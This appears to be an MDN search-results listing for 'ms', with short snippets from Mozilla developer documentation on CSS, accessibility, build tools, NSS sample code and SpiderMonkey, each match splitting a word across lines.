ms=; " %%a in ('ssh-agent -c') do if "%%a"=="setenv" set %%b=%%c set home=/cygdrive/c/path/to/your/cygwin/home/directory ssh-add ~/.ssh/id_dsa start /b /wait cmd.exe ssh-agent -k exit essentially both sets of commands do the same thing.
... there are a few things to note about the commands for the
ms-dos command prompt.
... mozillabuild if you're using mozillabuild, ssh-agent should be started when you run the start-
msvc???.bat file.
...And 2 more matches
Properly Using CSS and JavaScript in XHTML Documents - Archive of obsolete content
proble
ms with inline style and script inline style and script tags can cause several different proble
ms in xhtml when it is treated as xml rather than html.
...- xmlguru) inline style and script containing double dashes another problem with using comments to surround javascript in xhtml is related to the proble
ms which can occur if comments contain double dashes (——).
... <script type="text/javascript"> <!-- var i; var sum = 0; for (i = 10; i > 0; --i) { sum += i; } // --> </script> using cdata instead of comments properly enclosing script contents inside of cdata sections can cause proble
ms in downlevel browsers which do not understand xml.
...And 2 more matches
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
technical standards have traditionally been pioneered through consortiu
ms or standards bodies.
...for example, if an organization is developing a web-based client, they may have to adhere to standards imposed by these organizations: ansi (american national standards institute ) atsc (advanced television syste
ms committee ) ieee (institute of electrical and electronics engineers ) ietf (internet engineering task force ) irtf (internet research task force ) iso (international standards organization ) itu (international telecommunication union ) oasis (organization for the advancement of structured information standards ) oma (open mobile alliance ), uni (unicode consortium ) w3c (world wide web c...
...i will discuss each of these ite
ms in the following paragraphs.
...And 2 more matches
Index - Game development
12 2d collision detection 2d, games, javascript, collision detection one of the simpler for
ms of collision detection is between two rectangles that are axis aligned — meaning no rotation.
...this article provides a detailed guide to implementing audio for web games, looking at what works currently across as wide a range of platfor
ms as possible.
... 30 implementing game control mechanis
ms controls, desktop, gamepad, games, javascript, laptop, mobile, keyboard, mouse, touch one of html5's main advantages as a game development platform is the ability to run on various platfor
ms and devices.
...And 2 more matches
Accessible multimedia - Learn web development
previous overview: accessibility next another category of content that can create accessibility proble
ms is multimedia — video, audio, and image content need to be given proper textual alternatives so they can be understood by assistive technologies and their users.
... for example: <img src="dinosaur.png" alt="a red tyrannosaurus rex: a two legged dinosaur standing upright like a human, with small ar
ms, and a large head with lots of sharp teeth."> accessible audio and video controls implementing controls for web-based audio/video shouldn't be a problem, right?
...it looks like so in firefox and chrome: however, there are proble
ms with these controls: they are not keyboard accessible in most browsers, i.e.
...And 2 more matches
Cascade and inheritance - Learn web development
the cascade, and the closely-related concept of specificity, are mechanis
ms that control which rule applies when there is such a conflict.
... which rule is styling your element may not be the one you expect, so you need to understand how these mechanis
ms work.
...!important changes the way the cascade normally works, so it can make debugging css proble
ms really hard to work out, especially in a large stylesheet.
...And 2 more matches
Test your skills: Flexbox - Learn web development
the aim of this task is to get you working with flexbox and demonstrate your understanding of how flex ite
ms behave.
... flex layout one these list ite
ms are the navigation for a site.
... flex layout two these list ite
ms are all different sizes, but we want them to be displayed as three equal sized columns, no matter what content is in each item.
...And 2 more matches
CSS FAQ - Learn web development
css does not exactly allow one style to be defined in ter
ms of another.
...you can use dom inspector's css style rules view to debug proble
ms of this kind, but the most frequent instances of ignored style rules are listed below.
...</div> in case of complex html hierarchies, if a rule see
ms to be ignored, check if the element is inside another element with a different style.
...And 2 more matches
Styling links - Learn web development
the last rule however is interesting — here we are inserting a custom background image on external links in a similar manner to how we handled custom bullets on list ite
ms in the last article — this time however we are using background shorthand instead of the individual properties.
...for example, states like hover can be used to style many different elements, not just links — you might want to style the hover state of paragraphs, list ite
ms, or other things.
... in addition, links are quite commonly styled to look and behave like buttons in certain circu
mstances — a website navigation menu is usually marked up as a list containing links, and this can be easily styled to look like a set of control buttons or tabs that provide the user with access to other parts of the site.
...And 2 more matches
Web fonts - Learn web development
this takes one or more font family names, and the browser travels down the list until it finds a font it has available on the system it is running on: p { font-family: helvetica, "trebuchet
ms", verdana, sans-serif; } this system works well, but traditionally web developers' font choices were limited.
... there are only a handful of fonts that you can guarantee to be available across all common syste
ms — the so-called web-safe fonts.
... you can use the font stack to specify preferable fonts, followed by web-safe alternatives, followed by the default system font, but this adds overhead in ter
ms of testing to make sure that your designs look ok with each font, etc.
...And 2 more matches
How much does it cost to do something on the Web? - Learn web development
those progra
ms are relatively limited, you'll soon want a more robust editor to add layers, effects, and grouping.
... if you want to install an (s)ftp client, there are several reliable and free options: for example, filezilla for all platfor
ms, winscp for windows, cyberduck for mac or windows, and more.
...“packaged” hosting when you want to publish a website, you could do everything by yourself: set up a database (if needed), content management system, or c
ms (like wordpress, dotclear, spip, etc.), upload pre-made or your own templates.
...And 2 more matches
How to build custom form controls - Learn web development
in ter
ms of behavior, we are recreating a native html element.
...ok, the right behavior see
ms obvious but the fact is, because it's not defined in our specs, it is very easy to overlook this behavior.
...if you want to learn more about this topic, you should check out the following helpful resources: uxmatters.com uxdesign.com the ux design section of smashingmagazine note: also, in most syste
ms there is a way to open the <select> element with the keyboard to look at all the available choices (this is the same as clicking the <select> element with a mouse).
...And 2 more matches
JavaScript basics - Learn web development
this happens in games, in the behavior of responses when buttons are pressed or with data entry on for
ms; with dynamic styling; with animation, etc.
... if the javascript loads first and it is supposed to affect the html that hasn't loaded yet, there could be proble
ms.
...if you have proble
ms in your code, check the case!
...And 2 more matches
HTML text fundamentals - Learn web development
without headings, your page will perform poorly in ter
ms of seo (search engine optimization).
... unordered unordered lists are used to mark up lists of ite
ms for which the order of the ite
ms doesn't matter—let's take a shopping list as an example.
... milk eggs bread hummus every unordered list starts off with a <ul> element—this wraps around all the list ite
ms: <ul> milk eggs bread hummus </ul> the last step is to wrap each list item in a <li> (list item) element: <ul> <li>milk</li> <li>eggs</li> <li>bread</li> <li>hummus</li> </ul> active learning: marking up an unordered list try editing the live sample below to create your very own html unordered list.
...And 2 more matches
Adding vector graphics to the Web - Learn web development
previous overview: multimedia and embedding next vector graphics are very useful in many circu
mstances — they have small file sizes and are highly scalable, so they don't pixelate when zoomed in or blown up to a large size.
...popular web raster formats include bitmap (.bmp), png (.png), jpeg (.jpg), and gif (.gif.) vector images are defined using algorith
ms — a vector image file contains shape and path definitions that the computer can use to work out what the image should look like when rendered on the screen.
...the vector image however continues to look nice and crisp, because no matter what size it is, the algorith
ms are used to work out the shapes in the image, with the values simply being scaled as it gets bigger.
...And 2 more matches
Video and audio content - Learn web development
this kind of technology worked ok, but it had a number of proble
ms, including not working well with html/css features, security issues, and accessibility issues.
...due to these legal and preferential reasons, web developers find the
mselves having to support multiple formats to capture their entire audience.
... due to the intricacies of ensuring your app's media is viewable across every combination of browsers, platfor
ms, and devices you wish to reach, choosing the best combination of codecs and container can be a complicated task.
...And 2 more matches
General asynchronous programming concepts - Learn web development
our example from above is run like this: main thread: render circles to canvas --> display alert() after some time, javascript gained some tools to help with such proble
ms.
...consider the following thread diagra
ms: main thread: task a --> task b in this case, let's say task a is doing something like fetching an image from the server and task b then does something to the image like applying a filter to it.
... to fix such proble
ms, browsers allow us to run certain operations asynchronously.
...And 2 more matches
Graceful asynchronous programming with Promises - Learn web development
the .all() block (see below) will still fulfill, but it won't display the resources that had proble
ms.
... the code we provided here for displaying the ite
ms is fairly rudimentary but works as an explainer for now.
... note: if you were improving this code, you might want to loop through a list of ite
ms to display, fetching and decoding each one, and then loop through the results inside promise.all(), running a different function to display each one depending on what the type of code was.
...And 2 more matches
Getting started with Ember - Learn web development
the service side provides long-lived shared state, behavior, and an interface to integrating with other libraries or syste
ms.
... a note on todomvc and accessibility the todomvc project has a few issues in ter
ms of adhering to accessible/default web practices.
... starting the development server you may start the app in development mode by typing the following command in your terminal, while inside the todomvc directory: ember server this should give you an output similar to the following: build successful (190
ms) – serving on http://localhost:4200/ slowest nodes (totaltime >= 5%) | total (avg) -----------------------------------------+----------- broccolimergetrees (17) | 35
ms (2
ms) package /assets/vendor.js (1) | 13
ms concat: vendor styles/assets/vend...
...And 2 more matches
Implementing feature detection - Learn web development
let's recap and look at the example we touched on in our handling common javascript proble
ms — the geolocation api (which exposes available location data for the device the web browser is running on) has the main entry point for its use, a geolocation property available on the global navigator object.
...this works in a similar manner to media queries (see also responsive design proble
ms) — except that instead of selectively applying css depending on a media feature like a resolution, screen width or aspect ratio, it selectively applies css depending on whether a css feature is supported.
...the problem here is browser support — @supports is not supported at all in ie, and only supported in very recent versions of safari/ios webkit (9+/9.2+), whereas the javascript version should work in much older browsers (probably back to ie8 or 9, although older versions of ie will have additional proble
ms, such as not supporting document.queryselector, and having a messed up box model).
...And 2 more matches
Git and GitHub - Learn web development
this module ai
ms to teach you what you need to know about both of them.
...git is an example of a vcs, and github is a web site + infrastructure that provides a git server plus a number of really useful tools for working with git repositories individually or in tea
ms, such as reporting issues with the code, reviewing tools, project management features such as assigning tasks and task statuses, and more.
... in ter
ms of prerequisite knowledge, you don't need to know anything about web development, git/github or vcses to start this module.
...And 2 more matches
Introducing a complete toolchain - Learn web development
jsx or typescript) in our development process, and then transfor
ms our code so that the production version still runs on a wide variety of browsers, modern and older.
...prettier understands this to mean "if there's proble
ms in my code format, go ahead and fix them, then save my file".
...here is an example eslint output: ./my-project/src/index.js 2:8 error 'react' is defined but never used no-unused-vars 22:20 error 'body' is defined but never used no-unused-vars 96:19 error 'b' is defined but never used no-unused-vars ✖ 3 proble
ms (3 errors, 0 warnings) note: we'll install eslint in the next section; don't worry about this for now.
...And 2 more matches
Learn web development
this set of articles ai
ms to provide complete beginners to web development with all that they need to start coding websites.
... web for
ms — working with user data web for
ms are a potent tool for interacting with users — most commonly, they are used for collecting data from users, or allowing them to control a user interface.
... in the articles listed below, we'll cover all the essential aspects of structuring, styling, and interacting with web for
ms.
...And 2 more matches
Accessibility Features in Firefox
this will show the html source for only the selected text, which is useful for understanding accessibility proble
ms in some web sites.
...contributions come in many for
ms.
... the mozilla firefox community welcomes bug reports, ideas, documentation, answering questions in the support foru
ms -- and nearly any kind of community involvement resulting in a browser built for a broader audience of users and developers.
...And 2 more matches
CSUN Firefox Materials
as a result, nearly everyone who tries firefox finds the
mselves hooked..
...contributions come in many for
ms.
... the mozilla firefox community welcomes bug reports, ideas, documentation, answering questions in the support foru
ms -- and nearly any kind of community involvement resulting in a browser built for a broader audience of users and developers.
...And 2 more matches
What to do and what not to do in Bugzilla
it also governs which bug entry form you are presented with first (either the guided or advanced for
ms).
...if there are only a few comments in the bug, it may be reopened only if the original reporter provides more info, or confir
ms someone else's steps to reproduce.
...reports of proble
ms with specific websites that result from bad coding practices already determined to be “tech evangelism” cases by the module owner or peer, or proble
ms that result from the use of proprietary technology, should be be moved to the tech evangelism product rather than being resolved as invalid.
...And 2 more matches
How Mozilla's build system works
however, the most important file in ter
ms of architecture is config.status.
...as an example, below is a portion of the makefile for lib
msgbaseutil, which is linked against by all of the main news components: depth = ../../..
... topsrcdir = @top_srcdir@ srcdir = @srcdir@ vpath = @srcdir@ include $(depth)/config/autoconf.mk module =
msgbaseutil library_name =
msgbaseutil export_library = 1 short_libname =
msgbsutl notice that the only change from the component example above is that is_component is not set.
...And 2 more matches
Simple Instantbird build
note: parts of the build process also have proble
ms when the source code is in a directory where the path is long (nested many levels deep).
... on linux, this can manifest as proble
ms setting up the virtualenv for running tests (failure to install pip or virtualenv because of os access denied errors, where access is denied not because of permission proble
ms, but because the paths being accessed have been truncated, and so do not exist).
... having the source deep in a filesystem hierarchy can also cause proble
ms with pymake builds on windows.
...And 2 more matches
Simple SeaMonkey build
run these commands to install the other build tools: sudo port sync sudo port install mercurial libidl autoconf213 yasm proble
ms?
...after that all should be well.) open a shell window by running: c:\mozilla-build\start-
msvc2013.bat.
...this can lead to proble
ms later in the building stage.
...And 2 more matches
Eclipse CDT
set an initial heap space of 1 gb and max heap space of 5 gb, say, by modifying the values of the following two lines in eclipse.ini: -x
ms1g -xmx5g if you fail to increase these limits, then you will likely find that eclipse either hangs when it tries to index the mozilla source or else that the code intelligence is very broken after the indexing "completes".
... the benefit of building from inside eclipse is that build errors will appear in the proble
ms tab at the bottom of the window, and from there you can double click on the build error and it will take you straight to the source file and line where the problem occurred.
...as well as adding the markers, this will give you a list of the issues in the proble
ms tab at the bottom of the window where you can double-click to jump to the location of any given issue.
...And 2 more matches
Cross Process Object Wrappers
however, although cpows are convenient, they have serious limitations and can cause responsiveness proble
ms, so should only be used when necessary and only as a migration aid.
...object's properties and call its functions: // chrome script windowmm.addmessagelistener("my-e10s-extension-message", handlemessage); function handlemessage(message) { let wrapper = message.objects.clicked; console.log(wrapper.innerhtml); wrapper.innerhtml = "<h2>modified by chrome!</h2>" wrapper.setattribute("align", "center"); } auto-generated cpows add-ons that have not declared the
mselves multiprocess compatible are set up with a number of compatibility shi
ms.
... one of these shi
ms provides the following behavior: whenever chrome code tries to access content directly (for example, through window.content or browser.contentdocument), it is given back a cpow that wraps the content object.
...And 2 more matches
mozbrowsermetachange
general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only do
mstring the type of event.
... details the details property returns an anonymous javascript object with the following properties: name a do
mstring representing the <meta> name attribute value.
... content a do
mstring representing the <meta> content attribute value, i.e.
...And 2 more matches
Hacking with Bonsai
the original navigator code base had large sections that were shared across multiple platfor
ms.
... many times, code checked in would compile or run on a handful of platfor
ms.
...bonsai was created to solve these proble
ms.
...And 2 more matches
How to implement a custom autocomplete search component
there are actually two autocomplete mechanis
ms: an older mechanism that is part of the "xpfe" codebase and is used in older applications such as thunderbird and seamonkey.
... note: when copying the examples below, change the uuid that uniquely identifies the component, otherwise you might have proble
ms if your component gets installed along another component derived from those same examples.
...n 'suggestfirst'; // category label on first line of results return 'suggesthint'; // category label on any other line of results }, /** * gets the image for the result at the given index * * @return {string} the uri to the image to display */ getimageat : function (index) { return ''; }, /** * get the final value that should be completed when the user confir
ms * the match at the given index.
...And 2 more matches
JavaScript OS.Constants
winstartmenuprogsdir the path to the progra
ms subdirectory in the user's start menu.
...useful mostly for using js-ctypes to interact with the following platfor
ms: macos x; android; linux; other variants of unix.
... os.constants.libc is available on all platfor
ms, although some constants are not defined everywhere.
...And 2 more matches
Sqlite.jsm
shrinkmemoryonconnectionidle
ms (optional) if defined, the connection will attempt to minimize its memory usage after this many milliseconds of connection idle.
... executecached(sql, para
ms, onrow) execute(sql, para
ms, onrow) these similar functions are used to execute a single sql statement on the connection.
... para
ms (optional) parameters to bind to this statement.
...And 2 more matches
Mozilla DOM Hacking Guide
the array uses two macros to define its ite
ms: ns_define_classinfo_data and ns_define_classinfo_data_with_name.
... pruint32
mscriptableflags: 31; : the fourth argument passed to ns_define_classinfo_data_with_name.
... mname and mconstructorfptr,
mscriptableflags and mhasinterface are initialized by ns_define_classinfo_data_with_name.
...And 2 more matches
Mozilla Development Strategies
it's your responsibility to find and fix the proble
ms in your code before checking in.
... if you have proble
ms finding smaller, easier bugs to work on, start by looking for crashers.
... look for proble
ms in existing code.
...And 2 more matches
Mozilla Style System Documentation
style context management a style context (class nsstylecontext, currently also interface nsistylecontext although the interface should go away when all of the style syste
ms can be moved back into the layout dll) represents the style data for a css formatting object.
... proble
ms: dynamic style changes scrap the whole thing and start over.
... proble
ms: dynamic style changes often destroy too much data.
...And 2 more matches
Profiling with Xperf
once the sdk installs, execute either wpt_x86.
msi or wpt_x64.
msi in the redist/windows performance toolkit folder of the sdk's install location (typically program files/microsoft sdks/windows/v7.1/redist/windows performance toolkit) to actually install the windows performance toolkit tools.
... the standard symbol path that includes both mozilla's and microsoft's symbol server configuration is as follows: _nt_symcache_path: c:\symbols _nt_symbol_path: srv*c:\symbols*http://
msdl.microsoft.com/download/symbols;srv*c:\symbols*http://symbols.mozilla.org/firefox/ to add symbols from your own builds, add c:\path\to\objdir\dist\bin to _nt_symbol_path.
... there see
ms to be a bug in xperf and symbols; it is very sensitive to when the symbol path is edited.
...And 2 more matches
about:memory
(you don't need to take a screenshot.) this text contains fewer measurements than a memory reports file, but is often good enough to diagnose proble
ms.
... there are measurements for other content such as images and workers, and for browser subsyste
ms such as the startup cache and xpconnect.
...it only really matters on 32-bit platfor
ms such as win32.
...And 2 more matches
Phishing: a short definition
in 2014, the
msci estimated an annual global impact of phishing, and various for
ms of identity theft, to be as high as $5 billion usd.
...none of these are sufficient by the
mselves, so we see a mix of these deployed by various services.
... verification via text message if a service supports verification, via s
ms, it sends a text message with a one-time pin to the user’s phone number.
...And 2 more matches
Optimizing Applications For NSPR
netscape portable runtime (nspr) tries to provide a consistent level of service across the platfor
ms it supports.
... nspr uses timer signals to implement thread preemption for local threads on some platfor
ms.
... interrupting threads (via <tt>pr_interrupt()</tt>) on threads blocked in i/o functions is implemented to various degrees on different platfor
ms.
...And 2 more matches
Dynamic Library Linking
platform notes to use the dynamic library loading functions on some platfor
ms, certain environment variables must be set at run time, and you may need to link your executable progra
ms using special linker options.
... on most unix syste
ms, this environment variable is ld_library_path.
... these syste
ms typically use dlopen to load a dynamic library.
...And 2 more matches
Encrypt Decrypt MAC Keys As Session Objects
/* this source code form is subject to the ter
ms of the mozilla public * license, v.
... pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *
msg, unsigned int
msglen) { secstatus rv = pk11_digestop(ctx,
msg,
msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * finalize macing */ secstatus macfinal(pk11context *ctx, unsigned char *mac, unsigned int *maclen, unsigned int maxlen) { secstatus rv = pk11_digestfinal(ctx, mac, maclen, maxlen); ...
...1symkey *ek, pk11symkey *mk, unsigned char *iv, unsigned int ivlen, prbool ascii) { secstatus rv; unsigned char ptext[blocksize]; unsigned int ptextlen; unsigned char mac[digestsize]; unsigned int maclen; unsigned int nwritten; unsigned char encbuf[blocksize]; unsigned int encbuflen; secitem nopara
ms = { sibuffer, null, 0 }; pk11context *ctxmac = null; pk11context *ctxenc = null; unsigned int pad[1]; secitem paditem; unsigned int paddinglength; static unsigned int firsttime = 1; int j; ctxmac = pk11_createcontextbysymkey(ckm_md5_hmac, cka_sign, mk, &nopara
ms); if (ctxmac == null) { pr_fprintf(pr_stderr, "can't create mac context\n")...
...And 2 more matches
Encrypt and decrypt MAC using token
/* this source code form is subject to the ter
ms of the mozilla public * license, v.
... pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *
msg, unsigned int
msglen) { secstatus rv = pk11_digestop(ctx,
msg,
msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * finalize macing */ secstatus macfinal(pk11context *ctx, unsigned char *mac, unsigned int *maclen, unsigned int maxlen) { secstatus rv = pk11_digestfinal(ctx, mac, maclen, maxlen); ...
...1symkey *ek, pk11symkey *mk, unsigned char *iv, unsigned int ivlen, prbool ascii) { secstatus rv; unsigned char ptext[blocksize]; unsigned int ptextlen; unsigned char mac[digestsize]; unsigned int maclen; unsigned int nwritten; unsigned char encbuf[blocksize]; unsigned int encbuflen; secitem nopara
ms = { sibuffer, null, 0 }; pk11context *ctxmac = null; pk11context *ctxenc = null; unsigned int pad[1]; secitem paditem; unsigned int paddinglength; static unsigned int firsttime = 1; int j; ctxmac = pk11_createcontextbysymkey(ckm_md5_hmac, cka_sign, mk, &nopara
ms); if (ctxmac == null) { pr_fprintf(pr_stderr, "can't create mac context\n")...
...And 2 more matches
NSS FAQ
what platfor
ms and development environments are supported?
... this section is out of date iplanet e-commerce solutions has certified nss 3.1 on 18 platfor
ms, including aix 4.3, hp-ux 11.0, red hat linux 6.0, solaris (2.6 or later), windows nt (4.0 or later), and windows 2000.
... other contributors are in the process of certifying additional platfor
ms.
...And 2 more matches
NSS 3.12.4 release notes
these for
ms cannot be combined, e.g [a-gp-z] does not work.
... support for openv
ms has been removed.
... bug 321755: implement crldistributionpoint extension in libpkix bug 391434: avoid multiple encoding/decoding of pkix_pl_oid to and from ascii string bug 405297: proble
ms building nss/lib/ckfw/capi/ with mingw gcc bug 420991: libpkix returns wrong nss error code bug 427135: add super-h (sh3,4) architecture support bug 431958: improve des and sha512 for x86_64 platform bug 433791: win16 support should be deleted from nss bug 449332: secu_parsecommandline does not validate its inputs bug 453735: when using cert9 (sqlite3) db, set or change master password fails bug 463544: warning: passing enum* for an int* argument in pkix_validate.c bug 469588: coverity errors reported for softoken bug 470055: pkix_httpcertstore_findsocketconnec...
...And 2 more matches
NSS 3.15 release notes
in pk11pub.h pk11_decrypt - perfor
ms decryption as a single pkcs#11 operation (eg: not multi-part).
... pk11_encrypt - perfor
ms encryption as a single pkcs#11 operation (eg: not multi-part).
... new types in secitem.h secitemarray - represents a variable-length array of secite
ms.
...And 2 more matches
NSS API Guidelines
fortezza is a set of security algorith
ms, used by the u.s.
...for example: pk11rsagenpara
msstr.keysizeinbits for members of enu
ms, our current api has no standard (typedefs for enu
ms should follow the data types standard).
...option 1, currently the most common used for enu
ms, actually creates namespace pollution.
...And 2 more matches
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
generates encryption/mac keys and outputs public key as pkcs11 certificate signing request /* this source code form is subject to the ter
ms of the mozilla public * license, v.
... return rv; } /* * generate the private key */ seckeyprivatekey * generateprivatekey(keytype keytype, pk11slotinfo *slot, int size, int publicexponent, const char *noise, seckeypublickey **pubkeyp, const char *pqgfile, secupwdata *pwdata) { ck_mechanism_type mechanism; secoidtag algtag; pk11rsagenpara
ms rsapara
ms; void *para
ms; seckeyprivatekey *privkey = null; secstatus rv; unsigned char randbuf[blocksize + 1]; rv = generaterandom(randbuf, blocksize); if (rv != secsuccess) { fprintf(stderr, "error while generating the random numbers : %s\n", port_errortostring(rv)); goto cleanup; } pk11_r...
...andomupdate(randbuf, blocksize); switch (keytype) { case rsakey: rsapara
ms.keysizeinbits = size; rsapara
ms.pe = publicexponent; mechanism = ckm_rsa_pkcs_key_pair_gen; algtag = sec_oid_pkcs1_md5_with_rsa_encryption; para
ms = &rsapara
ms; break; default: goto cleanup; } fprintf(stderr, "\n\n"); fprintf(stderr, "generating key.
...And 2 more matches
Encrypt Decrypt_MAC_Using Token
/* this source code form is subject to the ter
ms of the mozilla public * license, v.
... pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *
msg, unsigned int
msglen) { secstatus rv = pk11_digestop(ctx,
msg,
msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * finalize macing.
...1symkey *ek, pk11symkey *mk, unsigned char *iv, unsigned int ivlen, prbool ascii) { secstatus rv; unsigned char ptext[blocksize]; unsigned int ptextlen; unsigned char mac[digestsize]; unsigned int maclen; unsigned int nwritten; unsigned char encbuf[blocksize]; unsigned int encbuflen; secitem nopara
ms = { sibuffer, null, 0 }; pk11context *ctxmac = null; pk11context *ctxenc = null; unsigned int pad[1]; secitem paditem; unsigned int paddinglength; static unsigned int firsttime = 1; int j; ctxmac = pk11_createcontextbysymkey(ckm_md5_hmac, cka_sign, mk, &nopara
ms); if (ctxmac == null) { pr_fprintf(pr_stderr, "can't create mac context\n")...
...And 2 more matches
NSS Sample Code Sample_3_Basic Encryption and MACing
f(stderr, "%-7s <ipfilename>.enc and <ipfilename>.header as intermediate output files.\n\n", ""); fprintf(stderr, "%-7s for decrypt, it takes <ipfilename>.enc and <ipfilename>.header\n", ""); fprintf(stderr, "%-7s as input files and produces <opfilename> as a final output file.\n\n", ""); exit(-1); } /* this source code form is subject to the ter
ms of the mozilla public * license, v.
... pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *
msg, unsigned int
msglen) { secstatus rv = pk11_digestop(ctx,
msg,
msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * finalize macing */ secstatus macfinal(pk11context *ctx, unsigned char *mac, unsigned int *maclen, unsigned int maxlen) { secstatus rv = pk11_digestfinal(ctx, mac, maclen, maxlen); ...
...1symkey *ek, pk11symkey *mk, unsigned char *iv, unsigned int ivlen, prbool ascii) { secstatus rv; unsigned char ptext[blocksize]; unsigned int ptextlen; unsigned char mac[digestsize]; unsigned int maclen; unsigned int nwritten; unsigned char encbuf[blocksize]; unsigned int encbuflen; secitem nopara
ms = { sibuffer, null, 0 }; pk11context *ctxmac = null; pk11context *ctxenc = null; unsigned int pad[1]; secitem paditem; unsigned int paddinglength; static unsigned int firsttime = 1; int j; ctxmac = pk11_createcontextbysymkey(ckm_md5_hmac, cka_sign, mk, &nopara
ms); if (ctxmac == null) { pr_fprintf(pr_stderr, "can't create mac context\n")...
...And 2 more matches
sample2
/* this source code form is subject to the ter
ms of the mozilla public * license, v.
...ilure; goto cleanup; } } } hextobuf(body, item, ishexdata); cleanup: if (file) { pr_close(file); } return rv; } /* * generate the private key */ seckeyprivatekey * generateprivatekey(keytype keytype, pk11slotinfo *slot, int size, int publicexponent, const char *noise, seckeypublickey **pubkeyp, const char *pqgfile, secupwdata *pwdata) { ck_mechanism_type mechanism; secoidtag algtag; pk11rsagenpara
ms rsapara
ms; void *para
ms; seckeyprivatekey *privkey = null; secstatus rv; unsigned char randbuf[blocksize + 1]; rv = generaterandom(randbuf, blocksize); if (rv != secsuccess) { fprintf(stderr, "error while generating the random numbers : %s\n", port_errortostring(rv)); goto cleanup; } pk11_randomupdate(randbuf, blocksize); switch (keytype) { case rsakey: rsapara
ms.keysizeinbits = size; rsapara
ms.p...
...e = publicexponent; mechanism = ckm_rsa_pkcs_key_pair_gen; algtag = sec_oid_pkcs1_md5_with_rsa_encryption; para
ms = &rsapara
ms; break; default: goto cleanup; } fprintf(stderr, "\n\n"); fprintf(stderr, "generating key.
...And 2 more matches
NSS sources building testing
nss/cmd contains a set of various tool progra
ms that are built using nss.
... building nss nss is built using gyp and ninja, or with make on syste
ms that don't have those tools.
...in other environments (for example in home networks), you could set the host and do
msuf (for domain suffix) environment variables to tell the nss suite which hostname to use.
...And 2 more matches
NSS tools : crlutil
list of possible algorith
ms: md2 | md4 | md5 | sha1 | sha256 | sha384 | sha512 -n nickname specify the nickname of a certificate or key to list, create, add to a database, modify, or validate.
... crl generation script syntax crl generation script file has the following syntax: * line with comments should have # as a first symbol of a line * set "this update" or "next update" crl fields: update=yyyymmddhhm
mssz nextupdate=yyyymmddhhm
mssz field "next update" is optional.
... time should be in generalizedtime format (yyyymmddhhm
mssz).
...And 2 more matches
troubleshoot.html
troubleshooting nss and jss builds newsgroup: mozilla.dev.tech.crypto this page summarizes information on troubleshooting the nss and jss build and test syste
ms, including known proble
ms and configuration suggestions.
...some syste
ms may not be configured to allow this many simultaneous connections by default; if the stress tests fail, try increasing the number of simultaneous sockets supported.
... building jss windows only: the shell invoked by gmake, sh
msdos.exe, is likely to crash when invoking some java tools on windows.
...And 2 more matches
NSS tools : crlutil
list of possible algorith
ms: md2 | md4 | md5 | sha1 | sha256 | sha384 | sha512 -n nickname specify the nickname of a certificate or key to list, create, add to a database, modify, or validate.
... crl generation script syntax crl generation script file has the following syntax: * line with comments should have # as a first symbol of a line * set "this update" or "next update" crl fields: update=yyyymmddhhm
mssz nextupdate=yyyymmddhhm
mssz field "next update" is optional.
... time should be in generalizedtime format (yyyymmddhhm
mssz).
...And 2 more matches
SpiderMonkey 1.8.7
—22 march 2011 platform support spidermonkey 1.8.7 is supported on all the platfor
ms where firefox 10 runs.
...on other platfor
ms, the jit is simply disabled; javascript code runs in an interpreter, as in previous versions.
...tstringcharsandlength js_getstringcharsz js_getstringcharszandlength js_getstringencodinglength js_haspropertybyid js_initctypesclass js_internjsstring js_isconstructing_possiblywithgiventhisobject js_isextensible js_isinrequest js_leavecrosscompartmentcall js_lookuppropertybyid js_lookuppropertywithflagsbyid js_new js_newcompartmentandglobalobject js_newdateobject js_newdateobject
msec js_newfunctionbyid body new c++ helpers while jsapi remains a c api, the engine is now implemented in c++.
...And 2 more matches
SpiderMonkey 1.8.8
—insert-actual-release-date-here platform support spidermonkey 1.8.8 is supported on all the platfor
ms where firefox insert-actual-firefox-version-number-here runs.
...on some other platfor
ms (sparc, mips), the jit is provided but not supported.
... on all other platfor
ms the jit is simply disabled; javascript code runs in an interpreter, as in previous versions.
...And 2 more matches
SpiderMonkey 1.8
when javascript 1.8 support is enabled, the parser accepts some incorrect progra
ms by inserting a semicolon where it should instead throw a syntaxerror (bug 384758).
...the new behavior confor
ms to the ecmascript standard, ecma 262-3 §11.13.1.
... two new functions, js_setgczeal and js_dumpheap, aim to help developers debug gc-related proble
ms.
...And 2 more matches
SpiderMonkey 38
get it here mozilla-esr38 you will find it in "firefox extended support release 38" package on hg release platform support spidermonkey 38 is supported on all the platfor
ms where firefox 38 runs.
... if you are compiling with microsoft's visual studio, note that the minimum supported version is
msvc10/2010.
...on some other platfor
ms (sparc, mips), the jit is provided but not supported.
...And 2 more matches
TPS Bookmark Lists
